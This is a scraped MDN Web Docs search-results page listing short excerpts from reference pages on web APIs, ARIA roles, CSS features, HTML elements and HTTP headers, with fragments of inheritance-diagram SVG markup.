...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmodelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">h...
...And 7 more matches
HTMLObjectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlobjectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 7 more matches
HTMLTableRowElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablerowelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
...And 7 more matches
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
for such needs, you have to use idbindex.opencursor() instead.
... return value an idbrequest object on which subsequent events related to this operation are fired.
... dataerror the underlying object store uses in-line keys and the property in the value at the object store's key path does not match the key in this cursor's position.
...And 7 more matches
Location - Web APIs
WebAPILocation
changes done on it are reflected on the object it relates to.
... both the document and window interface have such a linked location, accessible via document.location and window.location respectively.
... anatomy of location html <span id="href" title="href"><span id="protocol" title="protocol">http:</span>//<span id="host" title="host"><span id="hostname" title="hostname">example.org</span>:<span id="port" title="port">8888</span></span><span id="pathname" title="pathname">/foo/bar</span><span id="search" title="search">?q=baz</span><span id="hash" title="hash">#bang</span></span> css html, body {height:100%;} html {display:table; width:100%;} body {display:table-cell; text-align:center; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {content:attr(title); font-family:monospace; positi...
...And 7 more matches
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received from a mediastream obtained using the webrtc or media capture and streams apis.
... the number of channels output by the node matches the number of tracks found in the selected audio track.
... number of inputs 0 number of outputs 1 channel count defined by the first audio mediastreamtrack passed to the audiocontext.createmediastreamsource() method that created it.
...And 7 more matches
MediaStream Recording API - Web APIs
basic concepts the mediastream recording api is comprised of a single major interface, mediarecorder, which does all the work of taking the data from a mediastream and delivering it to you for processing.
... create a mediarecorder object, specifying the source stream and any desired options (such as the container's mime type or the desired bit rates of its tracks).
... once the source media is playing and you've reached the point where you're ready to record video, call mediarecorder.start() to begin recording.
...And 7 more matches
MouseEvent - Web APIs
the mouseevent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).
... mouseevent derives from uievent, which in turn derives from event.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...And 7 more matches
MutationObserverInit - Web APIs
as such, it's primarily used as the type of the options parameter on the mutationobserver.observe() method.
... properties at a minimum, one of childlist, attributes, and/or characterdata must be true when you call observe().
... childlist optional set to true to monitor the target node (and, if subtree is true, its descendants) for the addition of new child nodes or removal of existing child nodes.
...And 7 more matches
MutationRecord - Web APIs
properties property type description mutationrecord.type string returns "attributes" if the mutation was an attribute mutation, "characterdata" if it was a mutation to a characterdata node, and "childlist" if it was a mutation to the tree of nodes.
... for attributes, it is the element whose attribute changed.
... for characterdata, it is the characterdata node.
...And 7 more matches
Navigation Timing API - Web APIs
unlike javascript-based libraries that have historically been used to collect similar information, the navigation timing api can be much more accurate and reliable.
... concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques.
... this api lets you measure data that was previously difficult to obtain, such as the amount of time needed to unload the previous page, how long domain lookups take, the total time spent executing the window's load handler, and so forth.
...And 7 more matches
Navigator.registerProtocolHandler() - Web APIs
the navigator method registerprotocolhandler() lets web sites register their ability to open or handle particular url schemes (aka protocols).
... syntax navigator.registerprotocolhandler(scheme, url, title); note: recently updated to navigator.registerprotocolhandler(scheme, url), but no browsers currently support this version.
... parameters scheme a string containing the protocol the site wishes to handle.
...And 7 more matches
Navigator.sendBeacon() - Web APIs
the navigator.sendbeacon() method asynchronously sends a small amount of data over http to a web server.
... data a arraybuffer, arraybufferview, blob, domstring, formdata, or urlsearchparams object containing the data to send.
...for example, which link the user clicked before navigating away and unloading the page.
...And 7 more matches
PaymentAddress - Web APIs
it may be useful to refer to the universal postal union web site's addressing s42 standard materials, which provide information about international standards for postal addresses.
... properties paymentaddress.addressline read only an array of domstring objects providing each line of the address not included among the other properties.
... paymentaddress.country read only a domstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard.
...And 7 more matches
PaymentRequest - Web APIs
properties paymentrequest.id read only secure context an unique identifier for a particular paymentrequest, which can be set via details.id.
... paymentrequest.shippingaddress read only secure context if requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping.
... events merchantvalidation secure context with some payment handlers (e.g., apple pay), this event handler is called to handle the merchantvalidation event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.
...And 7 more matches
PublicKeyCredentialRequestOptions.extensions - Web APIs
here is the current (as of march 2019) list of potential extensions which may be used during the registration operation.
...as of june 2020, only appid is supported by chrome and edge.
...also chrome doesn't plan to support any other extension in future extension identifier type description appid usvstring fido appid.
...And 7 more matches
PushEvent - Web APIs
WebAPIPushEvent
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...And 7 more matches
Push API - Web APIs
WebAPIPush API
this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely new content.
...see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker.
... the service worker will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler.
...And 7 more matches
RTCIceCandidatePairStats.state - Web APIs
the state property in an rtcicecandidatepairstats object indicates the state of the check list of which the candidate pair is a member.
... ice check lists during ice negotiation, the ice layer builds up a check list, which is a list of potential pairings of ice candidates.
... each pair has a state, whose value is represented by rtcstatsicecandidatepairstate.
...And 7 more matches
RTCOutboundRtpStreamStats - Web APIs
the rtcoutboundrtpstreamstats dictionary is the rtcstats-based object which provides metrics and statistics related to an outbound rtp stream being sent by an rtcrtpsender.
... fircount an integer value which indicates the total number of full intra request (fir) packets which this rtcrtpsender has sent to the remote rtcrtpreceiver.
... this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up.
...And 7 more matches
RTCRtpStreamStats - Web APIs
while the dictionary has a base set of properties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on.
...check the browser compatibility table to know if and when the name change was implemented in specific browsers.
... standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats object associated with this rtp stream.
...And 7 more matches
ReadableStream.cancel() - Web APIs
the supplied reason parameter will be given to the underlying source, which may or may not use it.
... cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
...to read those chunks still and not completely get rid of the stream, you'd use readablestreamdefaultcontroller.close().
...And 7 more matches
Reporting API - Web APIs
the reporting api provides a generic reporting mechanism for web applications to use to make reports available based on various platform features (for example content security policy, feature-policy, or feature deprecation reports) in a consistent manner.
...such information can include: content security policy violations.
... the reporting api's purpose is to provide a consistent reporting mechanism that can be used to make such information available to developers in the form of reports represented by javascript objects.
...And 7 more matches
SVGTransformList - Web APIs
an svgtransformlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...any changes made to the item are immediately reflected in the list.
... createsvgtransformfrommatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix.
...And 7 more matches
ShadowRoot - Web APIs
you can retrieve a reference to an element's shadow root using its element.shadowroot property, provided it was created using element.attachshadow() with the mode option set to open.
... properties shadowroot.delegatesfocus read only returns a boolean that indicates whether delegatesfocus was set when the shadow was attached (see element.attachshadow()).
... shadowroot.host read only returns a reference to the dom element the shadowroot is attached to.
...And 7 more matches
SubtleCrypto - Web APIs
subtlecrypto.verify() returns a promise that fulfills with a boolean value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters.
...these will match the algorithm, usages, and extractability given as parameters.
...the wrapped key matches the format specified in the given parameters, and wrapping is done by the given wrapping key, using the specified algorithm.
...And 7 more matches
WebXR performance guide - Web APIs
webxr applications involve multiple technologies which can be highly sensitive to performance constraints.
... as such, you may find yourself needing to make adjustments or compromises to optimize the performance of your webxr application to be as usable as possible on the broadest assortment of target devices.
... can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
...And 7 more matches
WebXR permissions and security - Web APIs
among other things, you need to confirm access to device features such as the microphone and/or camera, get permission to use immersive vr mode (if applicable), and so forth.
... the variety of hardware and software involved in xr brings multiple apis and technologies into play.
... once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched web application.
...And 7 more matches
Web Animations API Concepts - Web APIs
to learn how to put the api to use, check out its sister article, using the web animations api.
...this means we can use it to create and manipulate css-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs.
... history over a decade ago, synchronized multimedia integration language, or smil (pronounced "smile"), brought animation to svg.
...And 7 more matches
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the behavior flags chrome, dialog and modal).
... these can be overridden (so "menubar=no,all" turns on all chrome except the menubar.) this feature is explicitly ignored by window.open().
... default behavior the chrome and dialog features are always assumed on, unless explicitly turned off ("chrome=no").
...And 7 more matches
WritableStreamDefaultWriter.ready - Web APIs
the first uses ready to ensure that the writablestream is done writing and thus able to receive data before sending a binary chunk.
... the second also checks whether the the writablestream is done writing, but this time because the writing must be finished before the writer can be closed.
... function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter var defaultwriter = writablestream.getwriter(); var encoder = new textencoder(); var encoded = encoder.encode(message, {stream: true}); encoded.foreach(function(chunk) { // make sure the stream and its writer are able to // receive data.
...And 7 more matches
WritableStreamDefaultWriter.write() - Web APIs
the write() property of the writablestreamdefaultwriter interface writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
... note that what "success" means is up to the underlying sink; it might indicate simply that the chunk has been accepted, and not necessarily that it is safely saved to its ultimate destination.
... syntax var promise = writablestreamdefaultwriter.write(chunk); parameters chunk a block of binary data to pass to the writablestream.
...And 7 more matches
XRViewerPose - Web APIs
each xrviewerpose can have multiple views to represent, for example, the slight separation between the left and right eye.
... properties in addition to the properties inherited from xrpose, xrviewerpose includes the following: views read only an array of xrview objects, one for each viewpoint on the scene which is needed to represent the scene to the user.
... a typical headset provides a viewer pose with two views whose eye property is either left or right, indicating which eye that view represents.
...And 7 more matches
XRWebGLLayer() - Web APIs
syntax let gllayer = new xrwebgllayer(session, context, layerinit); parameters session an xrsession object specifying the webxr session which will be rendered using the webgl context.
...the options available are: alpha optional the frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true.
... otherwise, the color buffer will not have an alpha channel.
...And 7 more matches
XSL Transformations in Mozilla FAQ - Web APIs
to find out which mime type your server sends, look at page info, use extensions like livehttpheaders or a download manager like wget.
...a known workaround is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not.
...disabling output escaping requires us to add a parsing step to our output generation, which we don't.
...And 7 more matches
ARIA: article role - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.
... articles are not considered a navigational landmark, but many assistive technologies that support landmarks also support a means to navigate among articles.
... articles can be nested, indicating that a nested article directly relates to the one it is nested in, but not necessarily to the ones outside the nesting hierarchy.
...And 7 more matches
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the content contained within this element.
... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it.
... description by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a new web page.
...And 7 more matches
ARIA: grid role - Accessibility
the position of each cell is significant and can be focused using keyboard input.
... states and properties aria-level indicates the hierarchical level of the grid within other structures.
... aria-readonly if the user can navigate the grid but not change the value or values of the grid, the aria-readonly should be set to true.
...And 7 more matches
Basic form hints - Accessibility
without a direct association between the control and its label, the screen reader has no way of knowing which label is the correct one.
...note that each <input> element has an id, and each <label> element has a for attribute, indicating the id of the associated <input>.
... <form> <ul> <li> <input id="wine-1" type="checkbox" value="riesling"/> <label for="wine-1">berg rottland riesling</label> </li> <li> <input id="wine-2" type="checkbox" value="pinot-blanc"/> <label for="wine-2">pinot blanc</label> </li> <li> <input id="wine-3" type="checkbox" value="pinot-grigio"/> <label for="wine-3">pinot grigio</label> </li> <li> <input id="wine-4" type="checkbox" value="gewurztraminer"/> <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s.
...And 7 more matches
Accessibility: What users can do to browse more safely - Accessibility
the user can do much to protect himself by learning his operating system, its personalization and accessibility settings.
... chrome 74 and above (desktop) chrome 74 added support for reduced-motion-query, it has even added support to detect whether the user has requested a reduced motion experience.
...examples include: transitionrun transitionstart transitionend transitioncancel edge 75 and above (desktop, in windows 10) according to eric bailey, in his april 30, 2019 article revisiting prefers-reduced-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com from thomas steiner's article "move ya!
...And 7 more matches
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
they begin with an at sign, '@' (u+0040 commercial at), followed by an identifier and includes everything up to the next semicolon, ';' (u+003b semicolon), or the next css block, whichever comes first.
... /* general structure */ @identifier (rule); /* example: tells browser to use utf-8 character set */ @charset "utf-8"; there are several at-rules, designated by their identifiers, each with a different syntax: @charset — defines the character set used by the style sheet.
... nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the device meets the criteria of the condition defined using a media query.
...And 7 more matches
Attribute selectors - CSS: Cascading Style Sheets
the css attribute selector matches elements based on the presence or value of a given attribute.
... /* <a> elements with a title attribute */ a[title] { color: purple; } /* <a> elements with an href matching "https://example.org" */ a[href="https://example.org"] { color: green; } /* <a> elements with an href containing "example" */ a[href*="example"] { font-size: 2em; } /* <a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an attribute name of attr.
... [attr~=value] represents elements with an attribute name of attr whose value is a whitespace-separated list of words, one of which is exactly value.
...And 7 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...however, css pre-processors simply generate valid css, so the techniques used below can be written in pure css instead, if preferred.
...this determines the direction in which flex items are laid out in.
...And 7 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
this article introduces the concept of formatting contexts, of which there are several types, including block formatting contexts, inline formatting contexts, and flex formatting contexts.
... everything on a page is part of a formatting context, or an area which has been defined to lay out content in a particular way.
... a block formatting context (bfc) will lay child elements out according to block layout rules, a flex formatting context will lay its children out as flex items, etc.
...And 7 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
in spring of 2017, we saw for the first time a major specification like grid being shipped into browsers almost simultaneously, and we now have css grid layout support in the public versions of firefox, chrome, opera, safari and edge.
... the supporting browsers other than in internet explorer, css grid layout is unprefixed in safari, chrome, opera, firefox and edge.
...this means that if you write some grid layout code in firefox, it should work in the same way in chrome.
...And 7 more matches
CSS Scrollbars - CSS: Cascading Style Sheets
basic example in this example we have chosen to use a thin scrollbar, with a green track and purple thumb.
...dandelion cucumber earthnut pea peanut soko zucchini.
... accessibility concerns when you customize scrollbars, consider they have enough contrast and that their hit area is large enough for people who use touch input.
...And 7 more matches
Media queries - CSS: Cascading Style Sheets
media queries let you adapt your site or app depending on the presence or value of various device characteristics and parameters.
...for example, a media query can shrink the font size on small devices, increase the padding between paragraphs when a page is viewed in portrait mode, or bump up the size of buttons on touchscreens.
... media queries in html in html, media queries can be applied to various elements: in the <link> element's media attribute, they define the media to which a linked resource (typically css) should be applied.
...And 7 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
mozilla applications such as firefox support a number of special mozilla extensions to css, including properties, values, pseudo-elements and pseudo-classes, at-rules, and media queries.
... mozilla-only properties and pseudo-classes (avoid using on websites) note: these properties and pseudo-classes will only work in mozilla applications such as firefox, and are not on a standards track.
...flow-clip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-start-backward) :-moz-system-metric(scrollbar-start-forward) :-moz-system-metric(scrollbar-thumb-proportional) :-moz-system-metric(touch-enabled) :-moz-system-metric(windows-default-theme) -moz-user-focus -moz-user-input -moz-user-modify -moz-window-dragging -moz-window-shadow formerly proprietary properties that are now standard note: to maximize the compatibility of your css, you should use the unprefixed standard properties instead of the prefixed ones listed below.
...And 7 more matches
place-self - CSS: Cascading Style Sheets
the align-self and justify-self properties) in a relevant layout system such as grid or flexbox.
...itional alignment */ place-self: center normal; place-self: start auto; place-self: end normal; place-self: self-start auto; place-self: self-end normal; place-self: flex-start auto; place-self: flex-end normal; place-self: left auto; place-self: right normal; /* baseline alignment */ place-self: baseline normal; place-self: first baseline auto; place-self: last baseline normal; place-self: stretch auto; /* global values */ place-self: inherit; place-self: initial; place-self: unset; values auto computes to the parent's align-items value.
... normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
...And 7 more matches
pointer-events - CSS: Cascading Style Sheets
only */ pointer-events: visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; /* svg only */ /* global values */ pointer-events: inherit; pointer-events: initial; pointer-events: unset; the pointer-events property is specified as a single keyword chosen from the list of values below.
... description when this property is unspecified, the same characteristics of the visiblepainted value apply to svg content.
...if one of the element's children has pointer-events explicitly set to allow that child to be the target of pointer events, then any events targeting that child will pass through the parent as the event travels along the parent chain, and trigger event listeners on the parent as appropriate.
...And 7 more matches
ruby-position - CSS: Cascading Style Sheets
it can be position over the element (over), under it (under), or between the characters, on their right side (inter-character).
... /* keyword values */ ruby-position: over; ruby-position: under; ruby-position: inter-character; /* global values */ ruby-position: inherit; ruby-position: initial; ruby-position: unset; syntax values over is a keyword indicating that the ruby has to be placed over the main text for horizontal scripts and right to it for vertical scripts.
... inter-character is a keyword indicating that the ruby has to be placed between the different characters.
...And 7 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
valid for the email and file input types and the <select>, the manner by which the user opts for multiple values depends on the form control.
...the email input displays the same, but will match the :invalid pseudo-class if more than one comma-separated email address is included if the attribute is not present.
...any trailing and leading whitespace is removed from each address in the list.
...And 7 more matches
HTML attribute: required - HTML: Hypertext Markup Language
the boolean required attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted.
... the required attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, number, checkbox, radio, file, <input> types along with the <select> and <textarea> form control elements.
... if present on any of these input types and elements, the :required pseudo class will match.
...And 7 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state.
... a disclosure widget is typically presented onscreen using a small triangle which rotates (or twists) to indicate open/closed status, with a label next to the triangle.
... if the first child of the <details> element is a <summary>, the contents of the <summary> element are used as the label for the disclosure widget.
...And 7 more matches
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
the html mark text element (<mark>) represents text which is marked or highlighted for reference or notation purposes, due to the marked passage's relevance or importance in the enclosing context.
... usage notes typical use cases for <mark> include: when used in a quotation (<q>) or block quote (<blockquote>), it generally indicates text which is of special interest but is not marked in the original source material, or material which needs special scrutiny even though the original author didn't think it was of particular importance.
... otherwise, <mark> indicates a portion of the document's content which is likely to be relevant to the user's current activity.
...And 7 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
permitted parents <meta charset>, <meta http-equiv>: a <head> element.
... if the charset attribute is set, the meta element is a charset declaration, giving the character encoding in which the document is encoded.
... note: the attribute name has a specific meaning for the <meta> element, and the itemprop attribute must not be set on the same <meta> element that has any existing name, http-equiv or charset attributes.
...And 7 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
each menu option is defined by an <option> element nested inside the <select>.
... each <option> element should have a value attribute containing the data value to submit to the server when that option is selected.
... the <select> element has some unique attributes you can use to control it, such as multiple to specify whether multiple options can be selected, and size to specify how many options should be shown at once.
...And 7 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
...also allowed as a child of a <colgroup> element that does not have a span attribute.
... however, the htmltemplateelement has a content property, which is a read-only documentfragment containing the dom subtree which the template represents.
...And 7 more matches
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
the html <track> element is used as a child of the media elements, <audio> and <video>.
...if the attribute contains an invalid value, it will use metadata (versions of chrome earlier than 52 treated an invalid value as subtitles).
... it may include important non-verbal information such as music cues or sound effects.
...And 7 more matches
itemscope - HTML: Hypertext Markup Language
specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element.
... a related attribute, itemtype, is used to specify the valid url of a vocabulary (such as schema.org) that describes the item and its properties context.
... in each of the following examples, the vocabulary is from schema.org.
...And 7 more matches
Large-Allocation - HTTP
header type response header forbidden header name no syntax large-allocation: 0 large-allocation: <megabytes> directives 0 0 is a special value which represents uncertainty as to what the size of the allocation is.
... this message means that the browser saw the large-allocation header, and was able to reload the page into a new process which should have more available contiguous memory.
... a large-allocation header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or window.opener.
...And 7 more matches
Upgrade - HTTP
WebHTTPHeadersUpgrade
http/2 explicitly disallows the use of this mechanism/header; it is specific to http/1.1.
... header type request header, response header forbidden header name yes overview the upgrade header field may be used by clients to invite a server to switch to one (or more) of the listed protocols, in descending preference order.
